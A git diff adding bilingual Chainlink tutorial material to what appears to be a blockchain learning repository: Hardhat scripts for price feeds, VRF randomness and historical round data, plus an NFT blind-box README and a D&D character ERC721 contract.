+  "license": "ISC",
+  "devDependencies": {
+    "@chainlink/contracts": "^1.3.0",
+    "@nomicfoundation/hardhat-ethers": "^3.0.8",
+    "ethers": "^6.13.4",
+    "hardhat": "^2.22.13",
+    "dotenv": "^10.0.0"
+  },
+  "dependencies": {
+    "@chainlink/contracts": "^1.3.0",
+    "dotenv": "^10.0.0",
+    "moment": "^2.29.4"
+  }
+}
diff --git a/basic/14-chainlink-price-feed/scripts/01-PriceConsumerV3Deploy.js b/basic/14-chainlink-price-feed/scripts/01-PriceConsumerV3Deploy.js
new file mode 100644
index 000000000..04c194cc1
--- /dev/null
+++ b/basic/14-chainlink-price-feed/scripts/01-PriceConsumerV3Deploy.js
@@ -0,0 +1,37 @@
+const hre = require("hardhat");
+const ethers = hre.ethers;
+
+async function main() {
+    const singer = await ethers.getSigner(process.env.PUBLIC_ADDRESS);
+    console.log("Deploying contracts with the account:", singer.address);
+
+    // PRICE_FEED_CONTRACT 在 sepolia 上的合约地址
+    const PRICE_FEED_CONTRACT = "0x694AA1769357215DE4FAC081bf1f309aDC325306";
+
+    // deploy PriceConsumerV3 Contract
+    const PriceConsumerV3 = await ethers.getContractFactory("PriceConsumerV3");
+    const PriceConsumerV3Ins = await PriceConsumerV3.deploy(PRICE_FEED_CONTRACT);
+    await PriceConsumerV3Ins.waitForDeployment();
+
+    console.log("----------------------------------------------------");
+    console.log("PriceConsumerV3 address:", await PriceConsumerV3Ins.getAddress());
+
+    // 读取价格
+    console.log("Read Price from PRICE_FEED");
+    const latestPrice = await PriceConsumerV3Ins.getLatestPrice();
+    console.log('Current price of ETH / USD is: ', latestPrice.toString());
+
+    // 使用 singer 获取合约
+    const contract = await ethers.getContractAt("PriceConsumerV3", await PriceConsumerV3Ins.getAddress(), singer);
+    const latestPriceFromContract = await contract.getLatestPrice();
+    console.log('Current price of ETH / USD from contract is: ', latestPriceFromContract.toString());
+}
+
+// We recommend this pattern to be able to use async/await everywhere
+// and properly handle errors.
+main()
+  .then(() => process.exit(0))
+  .catch(error => {
+      console.error(error);
+      process.exit(1);
+  });
diff --git a/basic/14-chainlink-price-feed/scripts/02-RandomNumberConsumerDeploy.js b/basic/14-chainlink-price-feed/scripts/02-RandomNumberConsumerDeploy.js
new file mode 100644
index 000000000..d48543d19
--- /dev/null
+++ b/basic/14-chainlink-price-feed/scripts/02-RandomNumberConsumerDeploy.js
@@ -0,0 +1,34 @@
+const hre = require('hardhat');
+const { saveDeployment } = require('./utils');
+const ethers = hre.ethers;
+
+
+async function main () {
+  const [deployer] = await ethers.getSigners();
+
+  console.log('Deploying contracts with the account:', deployer.address);
+
+  // 部署 RandomNumberConsumer 合约
+  const RandomNumberConsumer = await ethers.getContractFactory('RandomNumberConsumer');
+  console.log('process.env.SubscriptionId', process.env.SubscriptionId)
+  const instance = await RandomNumberConsumer.deploy(process.env.SubscriptionId);
+  await instance.waitForDeployment();
+  const RandomNumberConsumerAddress = await instance.getAddress();
+
+  console.log('----------------------------------------------------');
+  console.log('RandomNumberConsumer address:', RandomNumberConsumerAddress);
+
+  // save contract address to file
+  saveDeployment({
+    RandomNumberConsumerAddress: RandomNumberConsumerAddress,
+  });
+}
+
+// We recommend this pattern to be able to use async/await everywhere
+// and properly handle errors.
+main()
+  .then(() => process.exit(0))
+  .catch((error) => {
+    console.error(error);
+    process.exit(1);
+  });
diff --git a/basic/14-chainlink-price-feed/scripts/03-RandomNumberConsumer.js b/basic/14-chainlink-price-feed/scripts/03-RandomNumberConsumer.js
new file mode 100644
index 000000000..93bbb6b3e
--- /dev/null
+++ b/basic/14-chainlink-price-feed/scripts/03-RandomNumberConsumer.js
@@ -0,0 +1,86 @@
+const hre = require('hardhat');
+const ethers = hre.ethers;
+const { readDeployment } = require('./utils');
+
+async function main () {
+  const provider = new ethers.WebSocketProvider(`wss://eth-sepolia.g.alchemy.com/v2/${process.env.API_KEY}`);
+  const { abi: RandomNumberConsumerABI } = require('../artifacts/contracts/RandomNumberConsumer.sol/RandomNumberConsumer.json');
+  const deployment = readDeployment();
+  console.log('deployment:', deployment);
+  const addr = deployment.RandomNumberConsumerAddress;
+
+  if (!addr) {
+    console.log('Please deploy contract RandomNumberConsumer first');
+    return;
+  }
+
+  let randomNumberConsumer, user1, iface;
+
+  randomNumberConsumer = new ethers.BaseContract(addr, RandomNumberConsumerABI);
+  iface = randomNumberConsumer.interface;
+  user1 = await ethers.getSigner(process.env.PUBLIC_ADDRESS);
+
+  let random0ID, random0Res;
+
+  // 监听randomNumberConsumer 的请求随机数事件
+  const filterCall = {
+    address: addr,
+    topics: [ethers.keccak256(ethers.toUtf8Bytes('RequestSent(address,uint256,uint32)'))],
+  };
+  // 监听chainlink VRF Coordinator 的随机数回写事件
+  const filterRes = {
+    address: addr,
+    topics: [ethers.keccak256(ethers.toUtf8Bytes('RequestFulfilled(uint256,uint256[])'))],
+  };
+
+  console.log(`Listen on random number call...`);
+  await provider.on(filterCall, (log, event) => {
+    console.log('event RequestSent(address,uint256)');
+    const { args } = iface.parseLog(log);
+    if (args[0] === user1.address) {
+      random0ID = args[1];
+      console.log('random0 requestID: ', random0ID)
+    } else {
+      console.log('msg.sender not matched.');
+    }
+  });
+
+  console.log(`Listen on random number result...`);
+  await provider.on(filterRes, (log, event) => {
+    console.log('event RequestFulfilled(uint256,uint256[])');
+    const { args } = iface.parseLog(log);
+    console.log('random0ID', random0ID)
+    if (random0ID && BigInt.from(args[0]).eq(random0ID)) {
+      random0Res = args[1];
+      console.log('random0Res: ', random0Res.toString());
+    } else {
+      console.log('requestID not matched.');
+    }
+  });
+
+  const tx0 = await randomNumberConsumer.connect(user1).requestRandomWords(false, {
+    // for sometimes , it will be fail if not specify the gasLimit
+    gasLimit: 200000
+  });
+  console.log('first transaction hash:', tx0.hash);
+
+  // wait for the result event
+  for (let i = 0; i < 500; i++) {
+    if (random0Res) break;
+    console.log(`${i}: Please be patient, it will take a little long time to get the result`)
+    await new Promise((resolve) => {
+      setTimeout(() => {
+        resolve();
+      }, 1000);
+    });
+  }
+}
+
+// We recommend this pattern to be able to use async/await everywhere
+// and properly handle errors.
+main()
+  .then(() => process.exit(0))
+  .catch((error) => {
+    console.error(error);
+    process.exit(1);
+  });
diff --git a/basic/14-chainlink-price-feed/scripts/04-HistoryData.js b/basic/14-chainlink-price-feed/scripts/04-HistoryData.js
new file mode 100644
index 000000000..d62de4683
--- /dev/null
+++ b/basic/14-chainlink-price-feed/scripts/04-HistoryData.js
@@ -0,0 +1,131 @@
+// We require the Hardhat Runtime Environment explicitly here. This is optional
+// but useful for running the script in a standalone fashion through `node <script>`.
+//
+// You can also run a script with `npx hardhat run <script>`. If you do that, Hardhat
+// will compile your contracts, add the Hardhat Runtime Environment's members to the
+// global scope, and execute the script.
+
+const moment = require('moment');
+
+const aggregatorV3InterfaceABI = [
+  {
+    inputs: [],
+    name: "decimals",
+    outputs: [{ internalType: "uint8", name: "", type: "uint8" }],
+    stateMutability: "view",
+    type: "function",
+  },
+  {
+    inputs: [],
+    name: "description",
+    outputs: [{ internalType: "string", name: "", type: "string" }],
+    stateMutability: "view",
+    type: "function",
+  },
+  {
+    inputs: [{ internalType: "uint80", name: "_roundId", type: "uint80" }],
+    name: "getRoundData",
+    outputs: [
+      { internalType: "uint80", name: "roundId", type: "uint80" },
+      { internalType: "int256", name: "answer", type: "int256" },
+      { internalType: "uint256", name: "startedAt", type: "uint256" },
+      { internalType: "uint256", name: "updatedAt", type: "uint256" },
+      { internalType: "uint80", name: "answeredInRound", type: "uint80" },
+    ],
+    stateMutability: "view",
+    type: "function",
+  },
+  {
+    inputs: [],
+    name: "latestRoundData",
+    outputs: [
+      { internalType: "uint80", name: "roundId", type: "uint80" },
+      { internalType: "int256", name: "answer", type: "int256" },
+      { internalType: "uint256", name: "startedAt", type: "uint256" },
+      { internalType: "uint256", name: "updatedAt", type: "uint256" },
+      { internalType: "uint80", name: "answeredInRound", type: "uint80" },
+    ],
+    stateMutability: "view",
+    type: "function",
+  },
+  {
+    inputs: [],
+    name: "version",
+    outputs: [{ internalType: "uint256", name: "", type: "uint256" }],
+    stateMutability: "view",
+    type: "function",
+  },
+]
+
+async function main () {
+
+  const { ethers, BigNumber } = require("ethers") // for nodejs only
+
+  const provider = new ethers.providers.JsonRpcProvider("https://rpc.ankr.com/eth_sepolia")
+  //eth_usd: one eth worths how many usd
+  const addr = "0x694AA1769357215DE4FAC081bf1f309aDC325306"
+  const priceFeed = new ethers.Contract(addr, aggregatorV3InterfaceABI, provider)
+
+  //1. 获取最新的round
+  const latestRound = await priceFeed.latestRoundData();
+
+  //see https://docs.chain.link/data-feeds/historical-data
+  const mask = BigNumber.from('0xFFFFFFFFFFFFFFFF');//right most 64bits with 1
+
+  const latestPhaseId = latestRound.roundId.shr(64);
+  const latestAggregatorRoundId = latestRound.roundId.and(mask);
+
+  console.log('latesPhaseId ' + latestPhaseId.toString())
+  console.log('latestAggregatorRoundId ' + latestAggregatorRoundId.toString())
+
+  for (var phase = BigNumber.from(1); phase.lte(latestPhaseId); phase = phase.add(1)) {
+    for (var agRound = latestAggregatorRoundId; agRound.gte(1); agRound = agRound.sub(1)) {
+
+      const [inPhase, roundData] = await downloadRoundData(priceFeed, phase, agRound);
+      console.log('inPhase', inPhase)
+      if (!inPhase) {
+        console.log('should start a new phase')
+        break;
+      }
+      processRoundData(phase, agRound, roundData)
+      await new Promise(r => setTimeout(r, 1000));
+
+    }
+  }
+}
+
+async function downloadRoundData (priceFeed, phase, agRound) {
+  const roundId = phase.shl(64).or(agRound);
+  const maxRetries = 10
+  var tries = 1;
+  while (tries <= maxRetries) {
+    try {
+      const roundData = await priceFeed.getRoundData(roundId);
+      console.log('roundData', roundData)
+      return [true, roundData] //still same phase, rounddata
+    }
+    catch (e) {
+      if (e.message.includes('Transaction reverted')) {
+        return [false, undefined]//out of the current phase, should start new one
+      } else {
+        console.log(e.message)
+        tries++;//just retry, may be network connection issues
+        await new Promise(r => setTimeout(r, 1000));
+      }
+    }
+  }
+  throw Error('Totally failed. dont know why');
+
+
+}
+function processRoundData (phase, agRound, roundData) {
+  //Todo:insert it into database
+  //目前只是打印
+  console.log(`phase:${phase}, agRound:${agRound}`);
+  console.log(`answer:${ethers.utils.formatUnits(roundData.answer, 8)}`);
+  console.log(`updatedAt:${moment(roundData.updatedAt * 1000).format('YYYY-MM-DD HH:mm:ss')}`);
+
+}
+
+
+main()
\ No newline at end of file
diff --git a/basic/14-chainlink-price-feed/scripts/utils.js b/basic/14-chainlink-price-feed/scripts/utils.js
new file mode 100644
index 000000000..ffa43b1c6
--- /dev/null
+++ b/basic/14-chainlink-price-feed/scripts/utils.js
@@ -0,0 +1,40 @@
+// read and save redpacket contract deployment json file
+const path = require('path');
+const fs = require('fs');
+
+const DEPLOYMENGT_DIR = path.join(__dirname, '/deployment.json');
+
+/*
+ * deployment:
+ *   redPacketAddress
+ *   redPacketOwner
+ *   redPacketID
+ *   simpleTokenAddress
+ */
+function readDeployment() {
+  if (!fs.existsSync(DEPLOYMENGT_DIR)) return null;
+  try {
+    return JSON.parse(fs.readFileSync(DEPLOYMENGT_DIR, { encoding: 'utf-8' }));
+  } catch {
+    return null;
+  }
+}
+
+function saveDeployment(payload) {
+  let oldData = readDeployment();
+  if (!oldData) oldData = {};
+  fs.writeFileSync(
+    DEPLOYMENGT_DIR,
+    JSON.stringify({
+      ...oldData,
+      ...payload,
+    }),
+    { flag: 'w+' }
+  );
+  return true;
+}
+
+module.exports = {
+  readDeployment,
+  saveDeployment,
+};
diff --git a/basic/15-nft-blindbox-chainlink-vrf/.env.example b/basic/15-nft-blindbox-chainlink-vrf/.env.example
new file mode 100644
index 000000000..a3bb56fc8
--- /dev/null
+++ b/basic/15-nft-blindbox-chainlink-vrf/.env.example
@@ -0,0 +1,3 @@
+PRIVATE_KEY=xxxxxxxxxxxxxxxx
+INFURA_ID=yyyyyyyy
+SubscriptionId=ddddd
\ No newline at end of file
diff --git a/basic/15-nft-blindbox-chainlink-vrf/.gitignore b/basic/15-nft-blindbox-chainlink-vrf/.gitignore
new file mode 100644
index 000000000..a50bdcf0d
--- /dev/null
+++ b/basic/15-nft-blindbox-chainlink-vrf/.gitignore
@@ -0,0 +1,8 @@
+node_modules
+
+#Hardhat files
+cache
+artifacts
+
+# contract address
+scripts/deployment.json
\ No newline at end of file
diff --git a/basic/15-nft-blindbox-chainlink-vrf/README-CN.md b/basic/15-nft-blindbox-chainlink-vrf/README-CN.md
new file mode 100644
index 000000000..aa74fe8d3
--- /dev/null
+++ b/basic/15-nft-blindbox-chainlink-vrf/README-CN.md
@@ -0,0 +1,105 @@
+中文 / [English](https://github.com/Dapp-Learning-DAO/Dapp-Learning/blob/main/basic/15-nft-blindbox-chainlink-vrf/README.md)
+## 基于 chainlink vrf的 nft盲盒设计
+VRF 为链上安全可验证随机数, 用于安全的生成随机数, 具体可参考 [chainlink vrf官方文档](https://docs.chain.link/docs/get-a-random-number).  
+本样例代码演示如何使用 ChainLink 进行 NFT 盲盒设计.  
+
+## 操作步骤  
+- 配置私钥  
+在 .env 中放入的私钥，格式为 "PRIVATE_KEY=xxxx", 然后代码自动从中读取
+
+- 获取 test Link  
+每次去 ChainLink 请求 VRF 随机数时, 都需要消耗 Link 币, 所以在测试前需要申请 Link 测试币. 以 Sepolia 测试网为例, 前往 [Request testnet LINK](https://faucets.chain.link/sepolia) , 然后 "Netwrok" 选择 "Ethereum Sepolia", "Connect wallet" 链接小狐狸,点击"Send Request" 获取25 Test Link
+<center><img src="./imgs/Ethereum-Sepolia.png?raw=true" /></center>
+<center><img src="./imgs/GetLink.png?raw=true" /></center>
+
+- 安装依赖
+```
+npm install 
+
+Node版本：v20.11.0
+```
+
+### 生成随机数
+
+- 创建 ChainLink SubscriptionID  
+登陆 [ChainLink VRF 测试网](https://vrf.chain.link/?_ga=2.225785050.1950508783.1645630272-1230768383.1643005305) , 点击 "Create Subscription" 创建 SubscriptionID , 之后可以在 "My Subscriptions" 中看到创建的 SubscriptionID
+<center><img src="./imgs/CreateSubscription.png?raw=true" /></center>  
+
+
+- 保存 SubscriptionID  
+将上一步创建的 SubscriptionID 保存到 .env 文件中 
+
+
+```sh
+## .env
+SubscriptionId=ddddd
+```
+
+- 配置环境变量  
+在 .env 文件中放入私钥, infura 节点 id 
+
+```sh
+## .env
+PRIVATE_KEY=xxxxxxxxxxxxxxxx
+INFURA_ID=yyyyyyyy
+```
+
+- 编译合约
+```
+npx hardhat compile
+
+```
+
+
+- 部署测试合约
+```
+npx hardhat run scripts/deploy.js --network sepolia
+```
+ 对于不同测试网络(非sepolia)，请参考[Chain Link: supported-networks](https://docs.chain.link/vrf/v2/subscription/supported-networks)，在./contracts/RandomNumberVRF.sol 中修改vrfCoordinator，link，keyHash的值
+
+- 添加Consumer
+```
+点击进入已经创建好的Subscription，点击“Add Consumer"将上一步骤 deploy 返回合约地址填入, 填入完毕后需要稍等 10s, 此时再刷新页面，可以看到出现配置的consumer地址
+
+```
+<center><img src="./imgs/SubscriptionDetail.png?raw=true" /></center> 
+<center><img src="./imgs/AddConsumer.png?raw=true" /></center> 
+
+- 获取随机数  
+```
+npx hardhat run scripts/random-number-vrf.js --network sepolia
+```
+
+requestRandomWords请求发送后，ChainLink回调fulfillRandomWords生成随机数需要一定时间，防止Main 程序运行结束，因此需要设置循环检测是否生成了 RequestFulfilled 事件。
+
+- 随机数获重新获取   
+```
+npx hardhat run scripts/transaction.js --network sepolia
+``` 
+RandomWords 随机数生成之后，通过合约传入。./scripts/deployment.json 中保存的 requestID,再次获取之前获取的随机数。可以自定义随机数使用场景，本例只作为调用参考。
+
+随机数生成之后，可以在Ehterscan中查看
+<center><img src="./imgs/Consumer.png?raw=true" /></center> 
+<center><img src="./imgs/Events.png?raw=true" /></center> 
+<center><img src="./imgs/RequestAndResult.png?raw=true" /></center> 
+
+### 生成nft
+
+- 部署nft721 合约
+```sh
+  npx hardhat run scripts/deployDungeonsAndDragonsCharacter.js --netwrok sepolia
+```
+
+- mint nft
+```sh
+  npx hardhat run scripts/blindCharacter.js --netwrok sepolia
+```
+
+
+## 参考链接
+github 样例代码:  https://github.com/PatrickAlphaC/dungeons-and-dragons-nft  
+Chainlink链下报告概览: https://learnblockchain.cn/article/2186  
+如何在NFT(ERC721)中获取随机数: https://learnblockchain.cn/article/1776  
+使用Chainlink预言机，十分钟开发一个DeFi项目: https://learnblockchain.cn/article/1056  
+chainlink goerli faucet: https://faucets.chain.link/goerli?_ga=2.35440098.2104755910.1637393798-1377742816.1635817935  
+ChainLink VRF 官网文档: https://docs.chain.link/docs/get-a-random-number/  
\ No newline at end of file
diff --git a/basic/15-nft-blindbox-chainlink-vrf/README.md b/basic/15-nft-blindbox-chainlink-vrf/README.md
new file mode 100644
index 000000000..7a830a2cd
--- /dev/null
+++ b/basic/15-nft-blindbox-chainlink-vrf/README.md
@@ -0,0 +1,103 @@
+English / [中文](https://github.com/Dapp-Learning-DAO/Dapp-Learning/blob/main/basic/15-nft-blindbox-chainlink-vrf/README-CN.md)
+## NFT blind box design based on ChainLink VRF
+VRF is a secure verifiable random number on the chain. It is used to generate secure random numbers. For details, see [the ChainLink VRF official documentation](https://docs.chain.link/docs/get-a-random-number).  
+This sample code demonstrates how to use ChainLink for NFT blind box design. 
+
+## Operation Process  
+- Configure the private key
+The private key put in **.env** in the format "PRIVATE_KEY= XXXX ", from which the code automatically reads.
+
+- Get Link test coins 
+Every time you go to ChainLink to request VRF random number, you need to consume Link coins. Therefore, you need to apply for Link test coins before the test. For the Goerli test network, go to [Request testnet LINK](https://faucets.chain.link/goerli?_ga=2.35440098.2104755910.1637393798-1377742816.1635817935) , Then "Netwrok" selects "Ethereum Sepolia" , click "Connect wallet" connect with MeatMask", click "Send Request" for geting 25 Test Link
+<center><img src="./imgs/Ethereum-Sepolia.png?raw=true" /></center>
+<center><img src="./imgs/GetLink.png?raw=true" /></center>
+
+- Install Dependencies
+```
+npm install 
+
+Node Version：v20.11.0
+```
+
+### Generate random number
+
+- Create ChainLink SubscriptionID  
+Login [ChainLink VRF Test network](https://vrf.chain.link/?_ga=2.225785050.1950508783.1645630272-1230768383.1643005305) , Click on "Create Subscription" to Create a SubscriptionID and you can see the created SubscriptionID under "My Subscriptions"
+<center><img src="./imgs/CreateSubscription.png?raw=true" /></center>  
+
+
+- Save SubscriptionID  
+Save the SubscriptionID created in the previous step to **.env** 
+<center><img src="./imgs/CreateSubscription.png?raw=true" /></center>  
+
+```sh
+## .env
+SubscriptionId=ddddd
+```
+
+- Configuring Environment Variables 
+**.env** file into the private key and infura node ID 
+
+```sh
+## .env
+PRIVATE_KEY=xxxxxxxxxxxxxxxx
+INFURA_ID=yyyyyyyy
+```
+
+- Compile contract
+```
+npx hardhat compile
+```
+
+
+- Deployment test contract
+```
+npx hardhat run scripts/deploy.js --network sepolia
+```
+For different test networks (non-sepolia), please refer to [Chain Link: supported-networks](https://docs.chain.link/vrf/v2/subscription/supported-networks), in ./contracts/RandomNumberVRF.sol Modify the values ​​of vrfCoordinator, link, keyHash
+
+- Add Consumer 
+```
+Click to enter the already created Subscription, click "Add Consumer" to fill in the contract address returned by deploy in the previous step. After filling in, you need to wait for 10 seconds. At this time, refresh the page and you can see the configured consumer address.
+
+```
+<center><img src="./imgs/SubscriptionDetail.png?raw=true" /></center> 
+<center><img src="./imgs/AddConsumer.png?raw=true" /></center> 
+
+- Get random number 
+```
+npx hardhat run scripts/random-number-vrf.js --network sepolia
+```
+After the requestRandomWords request is sent, it takes a certain amount of time for the ChainLink callback fulfillRandomWords to generate random numbers, which prevents the Main program from ending. Therefore, it is necessary to set up a loop to detect whether the RequestFulfilled event is generated.
+
+- Get randomword again  
+```
+npx hardhat run scripts/transaction.js --network sepolia
+``` 
+RandomWords After the random number is generated, it is passed in through the contract. The requestID saved in ./scripts/deployment.json is used to obtain the random number obtained before. You can customize random number usage scenarios. This example is only used as a calling reference.
+
+After the random number is generated, it can be viewed in Ehterscan
+<center><img src="./imgs/Consumer.png?raw=true" /></center> 
+<center><img src="./imgs/Events.png?raw=true" /></center> 
+<center><img src="./imgs/RequestAndResult.png?raw=true" /></center> 
+
+### generate NFT
+
+- Sacking the NFT721 contract
+```sh
+  npx hardhat run scripts/deployDungeonsAndDragonsCharacter.js --netwrok sepolia
+```
+
+- Mint NFT
+```sh
+  npx hardhat run scripts/blindCharacter.js --netwrok sepolia
+```
+
+
+## Refer to the link
+Github sample code:  https://github.com/PatrickAlphaC/dungeons-and-dragons-nft  
+Chainlink Reporting Overview of Off-Chain: https://learnblockchain.cn/article/2186  
+How to obtain random numbers in NFT(ERC721): https://learnblockchain.cn/article/1776  
+Develop a DeFi project in 10 minutes using Chainlink predictor: https://learnblockchain.cn/article/1056  
+chainlink goerli faucet: https://faucets.chain.link/goerli?_ga=2.35440098.2104755910.1637393798-1377742816.1635817935  
+ChainLink VRF official document: https://docs.chain.link/docs/get-a-random-number/  
\ No newline at end of file
diff --git a/basic/15-nft-blindbox-chainlink-vrf/contracts/DungeonsAndDragonsCharacter.sol b/basic/15-nft-blindbox-chainlink-vrf/contracts/DungeonsAndDragonsCharacter.sol
new file mode 100644
index 000000000..d95321e73
--- /dev/null
+++ b/basic/15-nft-blindbox-chainlink-vrf/contracts/DungeonsAndDragonsCharacter.sol
@@ -0,0 +1,168 @@
+// contracts/DungeonsAndDragonsCharacter.sol
+// SPDX-License-Identifier: MIT
+pragma solidity >=0.8.0;
+
+import './ERC721PresetMinterPauserAutoId.sol';
+import './extensions/Strings.sol';
+// import '@chainlink/contracts/src/v0.8/interfaces/LinkTokenInterface.sol';
+// import '@chainlink/contracts/src/v0.8/interfaces/VRFCoordinatorV2Interface.sol';
+// import '@chainlink/contracts/src/v0.8/VRFConsumerBaseV2.sol';
+// import {VRFConsumerBaseV2Plus} from '@chainlink/contracts/src/v0.8/vrf/dev/VRFConsumerBaseV2Plus.sol';
+// import {VRFV2PlusClient} from '@chainlink/contracts/src/v0.8/vrf/dev/libraries/VRFV2PlusClient.sol';
+
+contract DungeonsAndDragonsCharacter is ERC721PresetMinterPauserAutoId {
+    using Strings for string;
+
+    // event FulfillRandomness(uint256, uint256[]);
+    // event RequestId(address, uint256);
+
+    // struct RequestStatus {
+    //     bool fulfilled; // whether the request has been successfully fulfilled
+    //     bool exists; // whether a requestId exists
+    //     uint256[] randomWords;
+    // }
+
+    // mapping(uint256 => RequestStatus) public s_requests; /* requestId --> requestStatus */
+
+    // VRFCoordinatorV2Interface COORDINATOR;
+    // LinkTokenInterface LINKTOKEN;
+
+    // Your subscription ID.
+    // uint256 s_subscriptionId;
+
+    // sepolia coordinator. For other networks,
+    // see https://docs.chain.link/docs/vrf-contracts/#configurations
+    // address vrfCoordinator = 0x9DdfaCa8183c41ad55329BdeeD9F6A8d53168B1B;
+
+    // sepolia LINK token contract. For other networks,
+    // see https://docs.chain.link/docs/vrf-contracts/#configurations
+    // address link = 0x779877A7B0D9E8603169DdbD7836e478b4624789;
+
+    // The gas lane to use, which specifies the maximum gas price to bump to.
+    // For a list of available gas lanes on each network,
+    // see https://docs.chain.link/docs/vrf-contracts/#configurations
+    // bytes32 keyHash = 0x787d74caea10b2b357790d5b5247c2f63d1d91572a9846f780606e4d953677ae;
+
+    // Depends on the number of requested values that you want sent to the
+    // fulfillRandomWords() function. Storing each word costs about 20,000 gas,
+    // so 100,000 is a safe default for this example contract. Test and adjust
+    // this limit based on the network that you select, the size of the request,
+    // and the processing of the callback request in the fulfillRandomWords()
+    // function.
+    uint32 callbackGasLimit = 100000;
+
+    // The default is 3, but you can set this higher.
+    uint16 requestConfirmations = 3;
+
+    // For this example, retrieve 2 random values in one request.
+    // Cannot exceed VRFCoordinatorV2.MAX_NUM_WORDS.
+    uint32 numWords = 2;
+
+    bool public flag;
+    uint256 public tag;
+
+    struct Character {
+        uint256 strength;
+        uint256 dexterity;
+        uint256 constitution;
+        uint256 intelligence;
+        uint256 wisdom;
+        uint256 charisma;
+        uint256 experience;
+        string name;
+    }
+
+    Character[] public characters;
+
+    // mapping(uint256 => string) requestToCharacterName;
+    // mapping(uint256 => address) requestToSender;
+    // mapping(uint256 => uint256) requestToRandnum;
+
+    constructor(string memory tokenURI, string memory _name) public ERC721PresetMinterPauserAutoId(_name, 'D&D', tokenURI) {}
+
+    // @param enableNativePayment: Set to `true` to enable payment in native tokens, or
+    // `false` to pay in LINK
+    // function requestNewRandomCharacter(string memory name, bool enableNativePayment) public returns (uint256) {
+    //     // Will revert if subscription is not set and funded.
+    //     // uint256 requestId = s_vrfCoordinator.requestRandomWords(keyHash, s_subscriptionId, requestConfirmations, callbackGasLimit, numWords);
+    //     uint256 requestId = s_vrfCoordinator.requestRandomWords(
+    //         VRFV2PlusClient.RandomWordsRequest({
+    //             keyHash: keyHash,
+    //             subId: s_subscriptionId,
+    //             requestConfirmations: requestConfirmations,
+    //             callbackGasLimit: callbackGasLimit,
+    //             numWords: numWords,
+    //             extraArgs: VRFV2PlusClient._argsToBytes(VRFV2PlusClient.ExtraArgsV1({nativePayment: enableNativePayment}))
+    //         })
+    //     );
+    //     requestToCharacterName[requestId] = name;
+    //     requestToSender[requestId] = msg.sender;
+    //     emit RequestId(msg.sender, requestId);
+    //     return requestId;
+    // }
+
+    function setTokenURI(uint256 tokenId, string memory _tokenURI) public {
+        require(_isApprovedOrOwner(_msgSender(), tokenId), 'ERC721: transfer caller is not owner nor approved');
+        _setTokenURI(tokenId, _tokenURI);
+    }
+
+    // function fulfillRandomWords(uint256 _requestId /* requestId */, uint256[] calldata _randomWords) internal override {
+    //     requestToRandnum[_requestId] = _randomWords[0];
+    //     emit FulfillRandomness(_requestId, _randomWords);
+    // }
+
+    function blindCharacter(uint256 _randomNum, address _requestToSender, string memory _name) public {
+        uint256 newId = characters.length;
+        uint256 randomNum = _randomNum;
+        uint256 strength = (randomNum % 100);
+        uint256 dexterity = ((randomNum % 10000) / 100);
+        uint256 constitution = ((randomNum % 1000000) / 10000);
+        uint256 intelligence = ((randomNum % 100000000) / 1000000);
+        uint256 wisdom = ((randomNum % 10000000000) / 100000000);
+        uint256 charisma = ((randomNum % 1000000000000) / 10000000000);
+        uint256 experience = 0;
+
+        characters.push(Character(strength, dexterity, constitution, intelligence, wisdom, charisma, experience, _name));
+        _safeMint(_requestToSender, newId);
+    }
+
+    function getLevel(uint256 tokenId) public view returns (uint256) {
+        return sqrt(characters[tokenId].experience);
+    }
+
+    function getNumberOfCharacters() public view returns (uint256) {
+        return characters.length;
+    }
+
+    function getCharacterOverView(uint256 tokenId) public view returns (string memory, uint256, uint256, uint256) {
+        return (
+            characters[tokenId].name,
+            characters[tokenId].strength +
+                characters[tokenId].dexterity +
+                characters[tokenId].constitution +
+                characters[tokenId].intelligence +
+                characters[tokenId].wisdom +
+                characters[tokenId].charisma,
+            getLevel(tokenId),
+            characters[tokenId].experience
+        );
+    }
+
+    function sqrt(uint256 x) internal view returns (uint256 y) {
+        uint256 z = (x + 1) / 2;
+        y = x;
+        while (z < y) {
+            y = z;
+            z = (x / z + z) / 2;
+        }
+    }
+
+    // expand to more random
+    //    function expand(uint256 randomValue, uint256 n) public pure returns (uint256[] memory expandedValues) {
+    //        expandedValues = new uint256[](n);
+    //        for (uint256 i = 0; i < n; i++) {
+    //            expandedValues[i] = uint256(keccak256(abi.encode(randomValue, i)));
+    //        }
+    //        return expandedValues;
+    //    }
+}
diff --git a/Example10-hardhat-ipfs-erc721/contracts/ERC165.sol b/basic/15-nft-blindbox-chainlink-vrf/contracts/ERC165.sol
similarity index 100%
rename from Example10-hardhat-ipfs-erc721/contracts/ERC165.sol
rename to basic/15-nft-blindbox-chainlink-vrf/contracts/ERC165.sol
diff --git a/Example16-hardhat-auction-exchange/contracts/erc-token/ERC721.sol b/basic/15-nft-blindbox-chainlink-vrf/contracts/ERC721.sol
similarity index 100%
rename from Example16-hardhat-auction-exchange/contracts/erc-token/ERC721.sol
rename to basic/15-nft-blindbox-chainlink-vrf/contracts/ERC721.sol
diff --git a/Example16-hardhat-auction-exchange/contracts/erc-token/ERC721PresetMinterPauserAutoId.sol b/basic/15-nft-blindbox-chainlink-vrf/contracts/ERC721PresetMinterPauserAutoId.sol
similarity index 100%
rename from Example16-hardhat-auction-exchange/contracts/erc-token/ERC721PresetMinterPauserAutoId.sol
rename to basic/15-nft-blindbox-chainlink-vrf/contracts/ERC721PresetMinterPauserAutoId.sol
diff --git a/Example16-hardhat-auction-exchange/contracts/IERC165.sol b/basic/15-nft-blindbox-chainlink-vrf/contracts/IERC165.sol
similarity index 100%
rename from Example16-hardhat-auction-exchange/contracts/IERC165.sol
rename to basic/15-nft-blindbox-chainlink-vrf/contracts/IERC165.sol
diff --git a/Example09-hardhat-react/contracts/IERC20.sol b/basic/15-nft-blindbox-chainlink-vrf/contracts/IERC20.sol
similarity index 100%
rename from Example09-hardhat-react/contracts/IERC20.sol
rename to basic/15-nft-blindbox-chainlink-vrf/contracts/IERC20.sol
diff --git a/Example16-hardhat-auction-exchange/contracts/IERC721.sol b/basic/15-nft-blindbox-chainlink-vrf/contracts/IERC721.sol
similarity index 100%
rename from Example16-hardhat-auction-exchange/contracts/IERC721.sol
rename to basic/15-nft-blindbox-chainlink-vrf/contracts/IERC721.sol
diff --git a/Example16-hardhat-auction-exchange/contracts/IERC721Receiver.sol b/basic/15-nft-blindbox-chainlink-vrf/contracts/IERC721Receiver.sol
similarity index 100%
rename from Example16-hardhat-auction-exchange/contracts/IERC721Receiver.sol
rename to basic/15-nft-blindbox-chainlink-vrf/contracts/IERC721Receiver.sol
